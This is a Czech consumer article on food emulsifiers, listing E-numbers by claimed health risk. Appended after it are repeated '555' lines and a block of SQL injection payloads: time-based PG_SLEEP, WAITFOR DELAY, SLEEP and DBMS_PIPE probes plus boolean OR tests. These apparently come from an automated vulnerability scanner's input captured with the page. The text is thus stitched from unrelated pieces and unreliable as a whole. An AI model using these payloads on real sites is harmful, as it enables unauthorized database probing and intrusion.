Emulgátory umožňují vytvoření trvalé směsi ze dvou nebo více přirozenou cestou nemísitelných látek. Jednotlivé emulgátory jsou vzhledem k své struktuře vhodné pouze pro určité směsi a potraviny a proto jich také je poměrně velké množství.
Emulgátory jsou látky, kterými je možné smíchat dvě nebo více přirozeně nemísitelné suroviny do jedné a směs pak dlouhodobě udržet. Příkladem je třeba voda a olej, které se po smíchání bez emulgátoru od sebe zase oddělí, při použití emulgátoru zůstanou smíchané ve směsi. Emulgátory v potravinách mají i mnoho dalších funkcí - například jejich zjemňování nebo zvyšování objemu.
Používají se při výrobě velkého množství potravin, například jemného pečiva a cukrářských výrobků, dezertů, zmrzlin, cukrovinek, kakaových a čokoládových produktů, žvýkaček, emulgovaných tuků, majonéz, omáček nebo zálivek. Velmi často jsou využité u tepelně opracovaných masných výrobků, v práškových náhradách mléka a smetany, u emulzních likérů a také doplňcích stravy a potravinách, určených k snižování váhy.
Emulgátory v čokoládách mění v tucích krystalickou strukturu a tím snižují jejich viskozitu, případně zvyšují provzdušnění a tím objem u šlehaných krémů. V pekařství a cukrářství působí i na škroby, snižují jejich lepkavost a tím zpomalují tvrdnutí chleba a dalších výrobků. Pšeničná mouka je po přidání emulgátorů kvalitnější a pečivo má lepší vzhled a větší objem. Některé emulgátory dokonce změkčují chlebovou střídku a i několik dní starý chléb pak vypadá jako čerstvý.
Důvody používání emulgátorů jsou především ekonomické, protože výrobky s nimi vypadají čerstvější a jsou větší nebo těžší.
Emulgátory jsou zařazeny v několika skupinách přídatných látek. Mnoho emulgátorů má přírodní nebo živočišný původ, případně se z přírodních látek získávají synteticky a nejsou pro lidské zdraví nebezpečné. Dělí se na
- přírodní a přírodně identické
- polosyntetické a syntetické
Emulgátory z přírodních zdrojů, které jsou bezpečné a bez nežádoucích zdravotních účinků
- E 425 - Konjaková guma
- E 322 - Lecitiny
Uměle získané emulgátory živočišného původu a identické syntetické látky bez prokázaných nepříznivých vedlejších účinků na zdraví
- E 304 - Estery mastných kyselim s kyselinou askorbovou
- E 432 - Polyoxyethylensorbitanmonolaurát
- E 434 - Polyoxyethylensorbitanmonopalmitát
- E 435 - Polyoxyethylensorbitanmonostearát
- E 436 - Polyoxyethylensorbitantristearát
- E 442 - Fosfatidy amonné
- E 470 - Sodné, draselné, vápenaté a hořečnaté soli mastných kyselin
- E 471 - Mono-a diglyceridy mastných kyselin
- E 472 - Estery mastných kyselin a, b, c, d, e, f
- E 473 - Estery sacharózy s mastnými kyselinami
- E 474 - Sacharoglyceridy
- E 475 - Estery polyglycerolu s mastnými kyselinami
- E 476 - Polyglycerolpolyricinoleát
- E 477 - Estery propylenglykolu s mastnými kyselinami
- E 479b - Olej sójových bobů s glyceridy mastných kyselin
- E 481 - Stearoylaktylát sodný
- E 492 - Tristearát sorbitolu
- E 493 - Monolaurát sorbitolu
- E 494 - Monooleát sorbitolu
- E 495 - Monopalmitát sorbitolu
- E 542 - Jedlý fosfát
Uměle získané emulgátory přírodního původu a přírodně identické látky
- pro lidské zdraví zcela bezpečné
- E 331 - Citronany sodné
- E 334 - Kyselina vinná
- E 335 - Vinany sodné
- E 337 - Vinan sodnodraselný
- E 460 - Celulózy
- bez prokázaných negativních účinků
- E 339 - Fosforečnany sodné
- E 340 - Fosforečnany draselné
- E 340(i) - Dihydrogenfosforečnan draselný
- E 340(ii) - Monohydrogenfosforečnan draselný
- E 340(iii) - Fosforečnan draselný
- E 444 - Acetát isobutyrát sacharózy
- E 461 - Methylcelulóza
- E 463 - Hydroxypropylcelulóza
- E 464 - Hydroxypropylmethylcelulóza
- E 465 - Ethylmethylcelulóza
- E 466 - Karboxymethylcelulóza
- E 469 - Enzymově hydrolyzovaná karboxymethylcelulóza
- E 482 - Stearoyllaktylát vápenatý
- E 483 - Stearyltartarát
- E 541 - Fosforečnan sodnohlinitý
- E 999 - Extrakt kvilajové kůry
- E 1450 - Sodná sůl oktenylsukcinátu škrobu
- E 1451 - Acetylovaný oxidovaný škrob
Emulgátory s možnými negativními účinky na zdraví člověka
- E 450 - Difosforečnany
- E 452 - Polyfosforečnany ( sodný, draselný a vápenatý )
- E 501 - Uhličitany draselné
- E 965 - Maltitol
Pro zdraví člověka nepříznivé emulgátory, způsobující alergické reakce
- E 400 - Kyselina alginová
- E 401 - Alginát sodný
- E 402 - Alginát draselný
- E 403 - Alginát amonný
- E 404 - Alginát vápenatý
- E 405 - Propylenglykolalginát
- E 407 - Karagenan
- E 407a - Guma Euchema
- E 412 - Guma guar
- E 413 - Tragant
- E 414 - Arabská guma
- E 416 - Guma karaya
- E 433 - Polyoxyethylensorbitanmonooleát
- E 445 - Pryskyřičný ester
- E 491 - Monostearát sorbitolu
- E 1400 - Dextriny
Zakázané emulgátory
- E 387 - Oxystearin
- E 409 - Arabinnogalaktan
- E 419 - Guma ghatti
- E 430 - Polyoxyethylen stearát
- E 431 - Polyoxyethylen monostearát
- E 443 - Bromovaný rostlinný olej
- E 467 - Ethylhydroxyethylcelulóza
- E 480 - Dioktylsulfosukcinát sodný
- E 487 - Laurylsulfát sodný
- E 478 - Laktylované estery glycerolu a propandiolu
- E 488 - Etoxylované mono a di glyceridy
I když jsou tyto stabilizátory v ČR a EU zakázané, nelze vyloučit, že je nebudou obsahovat potraviny vyrobené mimo země Evropské unie, které byly do ČR a EU dovezené.
Používání emulgátorů je určováno přísnými předpisy a také kontrolováno. Všechny emulgátory a především ty, které by mohly způsobit zdravotní problémy - jsou v surovinách a potravinách v takovém množství, které při běžné konzumaci lidské zdraví neohrožuje. U dětí a osob citlivějších na chemické přísady v jídle se ale různé negativní reakce projevit mohou. Vzhledem k používání mnoha různých přídatných látek - tzv. eček - i v jednou druhu potravinářských výrobků je tedy vhodné si důkladně číst jejich složení. V případě, že se v potravině vyskytují pro zdraví nevhodné nebo nebezpečné látky by se konzumace měla omezit na nezbytně nutnou míru nebo úplně.
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@Fcsbu
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
a8JcKXE2')) OR 193=(SELECT 193 FROM PG_SLEEP(15))--
K5JvPs7i') OR 15=(SELECT 15 FROM PG_SLEEP(15))--
lbeGWIgx' OR 496=(SELECT 496 FROM PG_SLEEP(15))--
-1)) OR 917=(SELECT 917 FROM PG_SLEEP(15))--
-5) OR 227=(SELECT 227 FROM PG_SLEEP(15))--
-5 OR 282=(SELECT 282 FROM PG_SLEEP(15))--
7vUQXN4i'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+781-781) --
-1" OR 3*2<(0+5+781-781) --
-1" OR 3+781-781-1=0+0+0+1 --
-1" OR 2+781-781-1=0+0+0+1 --
-1' OR 3*2>(0+5+310-310) or 'ev4l4WMO'='
-1' OR 3*2<(0+5+310-310) or 'ev4l4WMO'='
-1' OR 3+310-310-1=0+0+0+1 or 'ev4l4WMO'='
-1' OR 2+310-310-1=0+0+0+1 or 'ev4l4WMO'='
-1' OR 3*2>(0+5+902-902) --
-1' OR 3*2<(0+5+902-902) --
-1' OR 3+902-902-1=0+0+0+1 --
-1' OR 2+902-902-1=0+0+0+1 --
-1 OR 3*2>(0+5+468-468)
-1 OR 3*2<(0+5+468-468)
-1 OR 3+468-468-1=0+0+0+1
-1 OR 2+468-468-1=0+0+0+1
-1 OR 3*2>(0+5+894-894) --
-1 OR 3*2<(0+5+894-894) --
-1 OR 3+894-894-1=0+0+0+1 --
-1 OR 2+894-894-1=0+0+0+1 --
555
555
555
555
555